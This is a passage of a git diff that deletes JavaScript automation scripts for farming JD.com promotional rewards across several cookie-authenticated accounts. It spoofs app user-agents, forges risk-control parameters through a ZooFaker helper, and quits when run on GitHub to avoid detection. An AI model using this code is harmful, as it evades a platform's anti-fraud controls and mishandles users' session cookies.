} = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_mofang.js b/backUp/jd_mofang.js deleted file mode 100644 index 0cc0063..0000000 --- a/backUp/jd_mofang.js +++ /dev/null @@ -1,196 +0,0 @@ - -/** -集魔方 -cron 11 10 * * * jd_mofang.js -TG:https://t.me/sheeplost -*/ -const $ = new Env('集魔方'); -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -$.shareCodes = []; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { - }; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - return; - } - UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); - for (let i = 0; i < cookiesArr.length; i++) { - UA = `jdapp;iPhone;10.0.8;14.6;${UUID};network/wifi;JDEbook/openapp.jdreader;model/iPhone9,2;addressid/2214222493;appBuild/168841;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16E158;supportJDSHWK/1`; - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - await TotalBean(); - console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); - if (!$.isLogin) { - $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); - - if ($.isNode()) { - await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); - } - continue - } - await main() - } - } -})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) - -async function main() { - await getInteractionHomeInfo(); - await $.wait(500) - await queryInteractiveInfo($.projectId) - if ($.taskList) { - for (const vo of $.taskList) { - if (vo.ext.extraType !== 'brandMemberList' && vo.ext.extraType !== 'assistTaskDetail') { - if (vo.completionCnt < vo.assignmentTimesLimit) { - console.log(`任务:${vo.assignmentName},去完成`); - if (vo.ext) { - if (vo.ext.extraType === 'sign1') { - await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vo.ext.sign1.itemId) - } - for (let vi of vo.ext.productsInfo ?? []) { - if (vi.status === 1) { - await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId) - } - } - for (let vi of vo.ext.shoppingActivity ?? []) { - if (vi.status === 1) { - await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.advId, 1) - await $.wait(6000) - await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.advId, 0) - } - } - for (let vi of vo.ext.browseShop ?? []) { - if (vi.status === 1) { - await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 1) - await $.wait(6000) - await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 0) - } - } - for (let vi of vo.ext.addCart ?? []) { - if (vi.status === 1) { - await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 1) - await $.wait(6000) - await doInteractiveAssignment($.projectId, vo.encryptAssignmentId, vi.itemId, 0) - } - } - } - } else { - console.log(`任务:${vo.assignmentName},已完成`); - } - } - } - } else { - $.log('没有获取到活动信息') - } -} -function doInteractiveAssignment(projectId, encryptAssignmentId, itemId, actionType) { - let body = { "encryptProjectId": projectId, "encryptAssignmentId": encryptAssignmentId, "sourceCode": "acexinpin0823", "itemId": itemId, "actionType": actionType, "completionFlag": "", "ext": {} } - return new Promise(resolve => { - $.post(taskPostUrl("doInteractiveAssignment", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - console.log(data.msg); - } else { - console.log("没有返回数据") - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function queryInteractiveInfo(projectId) { - let body = { "encryptProjectId": projectId, "sourceCode": "acexinpin0823", "ext": {} } - return new Promise(resolve => { - $.post(taskPostUrl("queryInteractiveInfo", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (data) { - data = JSON.parse(data); - $.taskList = data.assignmentList - } else { - console.log("没有返回数据") - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function getInteractionHomeInfo() { - let body = { "sign": "u6vtLQ7ztxgykLEr" } - return new Promise(resolve => { - $.get(taskPostUrl("getInteractionHomeInfo", body), (err, resp, data) => { - try { - if (err) { - console.log(`${err}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - data = JSON.parse(data) - if (data) { - if (data.result.giftConfig) { - $.projectId = data.result.taskConfig.projectId - } else { - console.log("获取projectId失败"); - } - } else { - console.log(JSON.stringify(data)); - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function taskPostUrl(function_id, body) { - return { - url: `https://api.m.jd.com/?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=content_ecology&client=wh5&clientVersion=1.0.0`, - headers: { - "Host": "api.m.jd.com", - "Content-Type": "application/x-www-form-urlencoded", - "Origin": "https://h5.m.jd.com", - "Accept-Encoding": "gzip, deflate, br", - "Connection": "keep-alive", - "Accept": "application/json, text/plain, */*", - "User-Agent": UA, - "Referer": "https://h5.m.jd.com/babelDiy/Zeus/2bf3XEEyWG11pQzPGkKpKX2GxJz2/index.html", - "Cookie": cookie, - } - } -} -function getUUID(x = "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx", t = 0) { return x.replace(/[xy]/g, function (x) { var r = 16 * Math.random() | 0, n = "x" == x ? r : 3 & r | 8; return uuid = t ? n.toString(36).toUpperCase() : n.toString(36), uuid }) } -function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": UA, "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } -function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_necklace.js b/backUp/jd_necklace.js deleted file mode 100644 index 8a32c86..0000000 --- a/backUp/jd_necklace.js +++ /dev/null @@ -1,523 +0,0 @@ -/* -点点券,可以兑换无门槛红包(1元,5元,10元,100元,部分红包需抢购) -Last Modified time: 2021-05-28 17:27:14 -活动入口:京东APP-领券中心/券后9.9-领点点券 [活动地址](https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html) -脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js -===============Quantumultx=============== -[task_local] -#点点券 -20 0,20 * * * jd_necklace.js, tag=点点券, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true - - */ -const $ = new Env('点点券'); -const ZooFaker=require('./ZooFaker_Necklace.js').utils; -let allMessage = ``; -const notify = $.isNode() ? require('./sendNotify') : ''; -//Node.js用户请在jdCookie.js处填写京东ck; -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const openUrl = `openjd://virtual?params=%7B%20%22category%22:%20%22jump%22,%20%22des%22:%20%22m%22,%20%22url%22:%20%22https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html%22%20%7D` - -$.UA = ``; -$.UUID = ``; -$.joyytoken_count = 1 -getUA() -let message = ''; -let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000); -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], cookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} - -const JD_API_HOST = 'https://api.m.jd.com/api'; -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); - return; - } - // console.log(`\n通知:[非法请求] 可以等5分钟左右再次执行脚本\n`); - console.log(`\n脚本失效 [非法请求]\n`); - return - for (let i = 0; i < cookiesArr.length; i++) { - if (cookiesArr[i]) { - cookie = cookiesArr[i]; - $.cookie = cookiesArr[i]; - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - $.isLogin = true; - $.nickName = ''; - message = ''; - errorMsgLllegal = 0 - console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); - await jd_necklace(); - // break - } - } - if ($.isNode() && allMessage) { - await notify.sendNotify(`${$.name}`, `${allMessage}`, { url: openUrl }) - } -})() - .catch((e) => { - $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') - }) - .finally(() => { - $.done(); - }) -async function jd_necklace() { - try { - await necklace_homePage(); - await $.wait(2000) - await doTask(); - await $.wait(2000) - await sign(); - await $.wait(2000) - await necklace_homePage(); - await receiveBubbles(); - await necklace_homePage(); - // // await necklace_exchangeGift($.totalScore);//自动兑换多少钱的无门槛红包,1000代表1元,默认兑换全部点点券 - await showMsg(); - await $.wait(2000) - } catch (e) { - $.logErr(e) - } -} -function showMsg() { - return new Promise(async resolve => { - $.msg($.name, '', `京东账号${$.index} ${$.nickName || $.UserName}\n${(errorMsgLllegal > 0 && "当前有"+errorMsgLllegal+"个[非法请求]任务\n") || ""}当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击弹窗即可去兑换(注:此红包具有时效性)`, { 'open-url': openUrl}); - // 云端大于10元无门槛红包时进行通知推送 - // if ($.isNode() && $.totalScore >= 20000 && nowTimes.getHours() >= 20) await notify.sendNotify(`${$.name} - 京东账号${$.index}`, `京东账号${$.index}\n当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n点击链接即可去兑换(注:此红包具有时效性)\n↓↓↓ \n\n ${openUrl} \n\n ↑↑↑`, { url: openUrl }) - if ($.isNode() && (nowTimes.getHours() >= 20 || errorMsgLllegal > 0) && (process.env.DDQ_NOTIFY_CONTROL ? process.env.DDQ_NOTIFY_CONTROL === 'false' : !!1)) { - allMessage += `京东账号${$.index} ${$.nickName || $.UserName}\n${(errorMsgLllegal > 0 && "当前有"+errorMsgLllegal+"个[非法请求]任务\n") || ""}当前${$.name}:${$.totalScore}个\n可兑换无门槛红包:${$.totalScore / 1000}元\n(京东APP->领券->左上角点点券.注:此红包具有时效性)${$.index !== cookiesArr.length ? '\n\n' : `\n↓↓↓ \n\n "https://h5.m.jd.com/babelDiy/Zeus/41Lkp7DumXYCFmPYtU3LTcnTTXTX/index.html" \n\n ↑↑↑`}` - } - resolve() - }) -} -async function doTask() { - for (let item of $.taskConfigVos) { - if (item.taskStage === 0) { - console.log(`【${item.taskName}】 任务未领取,开始领取此任务`); - let res = await necklace_startTask(item.id); - if(res && res.rtn_code == 0){ - console.log(`【${item.taskName}】 任务领取成功,开始完成此任务`); - await $.wait(2000); - await reportTask(item); - await $.wait(2000) - } - } else if (item.taskStage === 2) { - console.log(`【${item.taskName}】 任务已做完,奖励未领取`); - } else if (item.taskStage === 3) { - console.log(`${item.taskName}奖励已领取`); - } else if (item.taskStage === 1) { - console.log(`\n【${item.taskName}】 任务已领取但未完成,开始完成此任务`); - await reportTask(item); - await $.wait(2000) - } - } -} -async function receiveBubbles() { - for (let item of $.bubbles) { - console.log(`\n开始领取点点券`); - await necklace_chargeScores(item.id) - await $.wait(2000) - } -} -async function sign() { - if ($.signInfo && $.signInfo.todayCurrentSceneSignStatus === 1) { - console.log(`\n开始每日签到`) - await necklace_sign(); - } else if($.signInfo) { - console.log(`当前${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}已签到`) - } -} -async function reportTask(item = {}) { - //普通任务 - if (item['taskType'] === 2) await necklace_startTask(item.id, 'necklace_reportTask'); - //逛很多商品店铺等等任务 - if (item['taskType'] === 6 || item['taskType'] === 8 || item['taskType'] === 5 || item['taskType'] === 9) { - //浏览精选活动任务 - await necklace_getTask(item.id); - $.taskItems = $.taskItems.filter(value => !!value && value['status'] === 0); - for (let vo of $.taskItems) { - console.log(`浏览精选活动 【${vo['title']}】`); - await necklace_startTask(item.id, 'necklace_reportTask', vo['id']); - } - } - //首页浏览XX秒的任务 - // console.log(item) - if (item['taskType'] === 3) await doAppTask('3', item.id); - if (item['taskType'] === 4) await doAppTask('4', item.id); -} -//每日签到福利 -function necklace_sign() { - return new Promise(async resolve => { - $.action = 'sign' - const body=await ZooFaker.get_risk_result($) - // const body = { - // currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - // } - $.post(taskPostUrl("necklace_sign", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.rtn_code === 0) { - if (data.data.biz_code === 0) { - console.log(`签到成功,时间:${new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString()}`) - // $.taskConfigVos = data.data.result.taskConfigVos; - // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; - } - } else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ - console.log(`每日签到失败:${data.rtn_msg}\n`) - errorMsgLllegal += 1 - getUA() - } else { - console.log(`每日签到失败:${JSON.stringify(data)}\n`); - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//兑换无门槛红包 -function necklace_exchangeGift(scoreNums) { - return new Promise(resolve => { - const body = { - scoreNums, - "giftConfigId": 31, - currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - } - $.post(taskPostUrl("necklace_exchangeGift", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.rtn_code === 0) { - if (data.data.biz_code === 0) { - const { result } = data.data; - message += `${result.redpacketTitle}:${result.redpacketAmount}元兑换成功\n`; - message += `红包有效期:${new Date(result.endTime + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000).toLocaleString('zh', {hour12: false})}`; - console.log(message) - } - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -//领取奖励 -function necklace_chargeScores(bubleId) { - return new Promise(async resolve => { - $.id = bubleId - $.action = 'chargeScores' - const body=await ZooFaker.get_risk_result($); - // const body = { - // bubleId, - // currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - // } - $.post(taskPostUrl("necklace_chargeScores", body), async (err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - if (safeGet(data)) { - data = JSON.parse(data); - if (data.rtn_code === 0) { - if (data.data.biz_code === 0) { - // $.taskConfigVos = data.data.result.taskConfigVos; - // $.exchangeGiftConfigs = data.data.result.exchangeGiftConfigs; - } - } else if(data.rtn_code === 403 || data.rtn_msg.indexOf('非法请求')> -1){ - console.log(`领取奖励失败:${data.rtn_msg}\n`) - errorMsgLllegal += 1 - getUA() - }else{ - console.log(`领取奖励失败:${JSON.stringify(data)}\n`) - } - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(data); - } - }) - }) -} -function necklace_startTask(taskId, functionId = 'necklace_startTask', itemId = "") { - return new Promise(async resolve => { - let body = { - taskId, - currentDate: $.lastRequestTime.replace(/:/g, "%3A"), - } - if(functionId == 'necklace_startTask'){ - $.id = taskId - $.action = 